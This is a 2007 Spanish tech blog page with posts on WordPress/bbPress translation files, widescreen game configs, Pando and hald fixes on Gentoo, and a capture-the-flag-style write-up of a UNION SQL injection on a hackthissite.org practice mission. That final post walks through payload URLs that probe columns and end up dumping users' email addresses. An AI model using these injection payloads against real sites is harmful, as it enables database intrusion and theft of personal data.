lunes, 15 de octubre de 2007

Archivos po y mo para Wordpress 2.3 y BBPress

Hace unos dias tenia que entregar un proyecto que constaba de un wordpress con un bbpress integrado, con la mala suerte, de que si integras los dos y quieres ponerlos en castellano tienes que añadir al archivo .mo de wordpress las traducciones (ya algo obsoletas) de bbpress.

La verda es que habia visto muchas veces estos archivos pero no tenia npi de como funcionaban, como se editaban ni generaban.

Buscando por internete descubri un maravilloso editor, poedit, que te edita estos archivos y genera los .mo necesarios para las traducciones.

Cogi los dos .po de las traducciones de wp y bbpress y los mezcle a manubrio con el gedit. Despues de solventar unos 112 errores por duplicidad (tambien a manubrio borrando las duplicadas... :P), seleccione la carpeta donde tenia el proyecto con el wp y bbpress para que me actualizara el contenido de el archivo .po, ya solo queda traducir los nuevos terminos y corregir alguno viejo que no me convencia su traduccion.

El resultado lo podeis descargar de aqui

El proyecto que he creado en code.google no lo voy a mantener asiduamente, solo ire actualizando con las necesidades que vaya viendo... me encantaria poderlo haber traducido completamente pero estoy algo liao :P si alguien se anima no tiene mas que contactar conmigo.

domingo, 14 de octubre de 2007

Quake3, ET, Doom3, Quake4, ... etc y pantallas panoramica

Todos estos juegos tienen soporte, lo que pasa que por defecto te sacan solo configuraciones para 4:3 . Para activar tienes que modificar el archivo de configuracion en tu directorio home ...

.doom3/base/DoomConfig.cfg
.q3a/baseq3/q3config.cfg
... etc


y establecer los siguientes valores

// Activar resoluciones personalizadas
seta r_mode "-1"
// ancho
seta r_customwidth "1920"
// alto
seta r_customheight "1200"


Algunos ejemplos de resoluciones (lo he dicho bien bpk? :D)

16:9
852x480
1280x720
1365x768

16:10 (Este es el de nuestro portatil bpk y palomo :D)
1440x900
1680x1050
1920x1200

4:3
320x240
2048x1535

Basicamente es una traduccion de aqui :: Origen

NOTA : Una cosa a tener en cuenta antes de que os volvais locos, es posible que la resolucion se haya aplicado, pese a que en la configuracion de video del juego no lo veais. Para saberlo con certeza hay que jugar. Tambien es posible que si cambiais algo de la config de video desde el propio juego tengais que editar de nuevo el archivo y ponerle lo antes mencionado, aunque esto ultimo es una hipotesis....

miércoles, 10 de octubre de 2007

Pando en gentoo@amd64

Queria probar como iba el tema de reproduccion HD en pando y me instale el cliente de desacargas de pando

emerge -va pandodl

resultado : masked by: missing keyword

echo "net-p2p/pandodl ~* *" >> /etc/portage/package.keywords

volvemos a instalar

emerge -va pandodl

Ahora instala, pero al ejecutar pandodl, no encuentra la libreria libexpat.so.1

Para solucionar esto tenemos que instalar el paquete app-emulation/emul-linux-x86-baselibs y hacer un link de la libreria de 32bits libexpat.so.0 al directorio de pando/libs

ln -s /usr/lib32/libexpat.so.0 /opt/pandodl/lib/libexpat.so.1

Bien, conseguido..., me bajo el primer archivo pando y resulta que las versiones 1.7 o posteriores de archivos .pando no funcionan en linux :(

En fin... me parece que tendremos que esperar.

Pando 1.7 packages can't be downloaded with Pando Linux!
Pando en Gentoo con AMD64
Inital Feedback

jueves, 4 de octubre de 2007

Problemas con hald en gentoo@amd64

Desde hace tiempo y con un maravilloso emerge -va world me dejo de funcionar el hal, el problema que me escupia en el /var/log/messages era el siguiente :

[E] hald_dbus.c:5086: dbus_bus_get(): Failed to connect to socket /usr/local/var/run/dbus/system_bus_socket: No such file or directory

...y al poco tiempo despues...

[E] hald_dbus.c:5086: dbus_bus_get(): Failed to connect to socket /usr/local/var/run/dbus/system_bus_socket: Connection refused

Buscando por internet encontre la forma de solucionar este "bug" que solo me ocurre para amd64 ya que en x86 parece correr dpm. Hacer un link desde /var/run/dbus/system_bus_socket a /usr/local/var/run/dbus/system_bus_socket

ln -s /usr/local/var/run/dbus/system_bus_socket /var/run/dbus/system_bus_socket

Con esto ya parece funcionar de nuevo.... pues no, me reconoce nuevos dispositivos pero no me los monta debido a problemas de permisos. Inicio una session como root y efectivamente, funciona dpm

Despues de dar permisos a distintos grupos a mi usuario sin ningun resultado, borre los mismos y volvi a buscar de nuevo en internet. Un chavalin con fedora explicaba como dar permisos a un usuario para el tema de auto-montaje con hal y era editando el archivo /etc/dbus-1/system.d/hal.conf

En este mismo hay un apartado para los permisos de root (id = 0)

  <!-- You can change this to a more suitable user, or make per-group -->
  <policy user="0">
    <allow send_interface="org.freedesktop.Hal.Device.SystemPowerManagement"/>
    <allow send_interface="org.freedesktop.Hal.Device.VideoAdapterPM"/>
    <allow send_interface="org.freedesktop.Hal.Device.LaptopPanel"/>
    <allow send_interface="org.freedesktop.Hal.Device.Volume"/>
    <allow send_interface="org.freedesktop.Hal.Device.Volume.Crypto"/>
  </policy>


Y tal como comenta el mismo se pueden dar permisos por grupo o por usuario, como yo solo tengo un usuario :P lo hice por usuario (si solo tienes un usuario o usas el primer usuario que creaste tu id sera 1000), añadiendo este codigo que sigue justo despues de lo anterior ya damos permisos a nuestro usuario 1000

  <!-- usuario X -->
  <policy user="1000">
    <allow send_interface="org.freedesktop.Hal.Device.SystemPowerManagement"/>
    <allow send_interface="org.freedesktop.Hal.Device.VideoAdapterPM"/>
    <allow send_interface="org.freedesktop.Hal.Device.LaptopPanel"/>
    <allow send_interface="org.freedesktop.Hal.Device.Volume"/>
    <allow send_interface="org.freedesktop.Hal.Device.Volume.Crypto"/>
  </policy>


Reiniciamos hald y ya se monta todo automaticamente :D

Salud3!

martes, 2 de octubre de 2007

Ejemplo práctico de inyección SQL con UNION

El siguiente texto es una especie de cuaderno de bitácora de mi compi de curro - y de otras cosas que no voy a decir - Sponge Bob.
Es un spoiler total de una de las pruebas de http://www.hackthissite.org/, pero se ha cambiado la URL para que las arañitas de google no les sirvan en bandeja la solución a la gente que está haciendo las pruebas.

Sponge Bob dixit:


Esta misión ya se realizó en su momento, por lo parte de las acciones que realizo tienen como origen cosas que recuerdo que hice en su momento.

En primer lugar, recuerdo que products.php era sensible a injecciones SQL, usando un UNION.


http://www.hacking.org/missions/products.php?category=2+union+select+1

La siguiente injección me devuelve una única entrada sin información, cuando la categoría '2' contiene 3 productos. La consulta que se debe hacer en products.php debe ser algo del estilo
SELECT * FROM products WHERE category = 2
Dicha consulta deberá retornar X elementos y para que el código que injerto tenga éxito deberá retornar el mismo número de elemento.

Probemos....

http://www.hacking.org/missions/products.php?category=2+union+select+1,2

Mismo resultado.

http://www.hacking.org/missions/products.php?category=2+union+select+1,2,3

Mismo resultado.

http://www.hacking.org/missions/products.php?category=2+union+select+1,2,3,4

Bien. Aquí ya se devuelve 4 entradas, posiblemente los 3 productos en el resultado de mi injerto. Sin embargo no aparece ningún tipo de información, fotos, precios, descripción. Es posible que a mi injerto le falte algún tipo de información. La sentencia SQL original podría ser algo así...
SELECT id, price, description, picture FROM products WHERE category = 2

Por si acaso, también probamos con el siguiente injerto

http://www.hacking.org/missions/products.php?category=2+union+select+1,2,3,4,5

En este caso, se vuelve a mostrar una única entrada, lo cuál parece reforzar el hecho de que la sentencia SQL devuelve 4 campos.

Suponiendo que la sentencia SQL original sea utilizada no por posición, sino por nombre (con el módulo de PHP MDB2 por ejemplo cuando se extraen los resultados puedes indicar que sea por columna: MDB2_FETCHMODE_ORDERED, por nombre: MDB2_FETCHMODE_ASSOC, o por objeto: MDB2_FETCHMODE_OBJECT) y presuponiendo que uno de los campos usado sea el campo clave (al cual normalmente se le llama id) ejecutamos la siguiente sentencia...

http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2,3,4,5

Mmmmm, ¡han aparecido las fotos! Lo cual nos indica lo siguiente:
* Si miramos en el código html vemos que el nombre de la cada foto está relacionado con el 'id'. Así la foto 1.jpg está relacionada con el producto con id 1.

http://www.hacking.org/missions/1.jpg

* Si un campo en el injerto no tiene asignado nombre provoca que el campo en la sentencia original que ocupe el mismo puesto pierde su nombre de columna provocando que no aparezca la información correspodiente. Por ejemplo, con la siguiente sentencia

http://www.hacking.org/missions/products.php?category=2+union+select+1,2+as+id,3,4

sólo aparece la foto del elemento que se ha introducido en el injerto (2 as id) y no la de los elementos originales. Por tanto, en la sentencia original la primera columna es el id del producto.

Una aclaración: en este caso tampoco nos interesa mucho la colocación de los distintos atributos ya que lo que nos interesa en la información que podemos obtener con nuestro injerto y no la original.

Supongamos, ahora que el precio del producto tendrá como nombre de columna... no sé, ¿price? ;-)

http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2+as+price,3,4

Bien, existe un campo price pero no está en la segunda posición. Da igual.

Supongamos que otro campo puede ser description, describiendo el producto

http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2+as+price,3+as+description,4

No se ha producido ningún cambio respecto a la sentencia anterior por tanto no es description.

A ver, también es cierto que no es necesario averiguar la estructura completa de la sentencia SQL original. Posiblemente a través del campo 'price' podamos sacar la información que necesitamos aunque también es posible que en la aplicación sólo manejen números o si maneja texto sea de una longitud muy limitada para nuestras necesidades. Para nuestras necesidades seguro que es más adecuado el campo que describe los productos...

http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2+as+price,3+as+text,4

Biiien, ya tenemos el nombre del campo que describe los productos.

Lo que no queda claro es para que sirve el cuarto campo pero bueno tampoco parece que sea muy útil.

Como nota curiosa, el siguiente injerto

http://www.hacking.org/missions/products.php?category=2+union+select+2+as+price,1+as+id,3+as+text,4

produce que la foto se coloque en la imagen (ver código fuente) la descripción del producto y en la descripción del producto el id del producto, ¿alguna explicación?

Y si probamos a veriguar qué base de datos tenemos...

http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,@@version+as+text,3+as+price,4

Bueno, nos da error. Es posible que sea un mysql y no tengamos permisos de ejecución.

¿Dónde pueden estar las direcciones de correo? Si intentamos introducir como dirección de email el carácter "'" nos devuelve un informativo error:

http://www.hacking.org/missions/addemail.php?email='

Error inserting into table "email"! Email not valid! Please contact an administrator of Fischer's.

Por tanto, podemos probar a sacar el id de la tabla email...

http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,(select+id+from+email+limit+1)+as+text,3+as+price,4

Nada, nos da error. La opción 'limit' no es estándar (gracias Pedro) y hay bases de datos como Oracle que no la soportan. Lo que deja claro el siguiente injerto es que se puede introducir subconsultas en el injerto

http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,(select+2)+as+text,3+as+price,4

Bien, hagamos una consulta a la tabla email, ¿qué campo puede contener el email de los usuarios? Probemos con 'email'

http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,email+as+text,3+as+price,4+from+email

Bueno, bueno, bueno, ya tenemos los emails de los usuarios ahora habría que ver a quién se le manda.



Espero que a la gente de http://www.hackthissite.org/ no les moleste, este artículo se ha creado exclusivamente con fines didácticos y sin intención de joder a nadie ^_^

Seguidores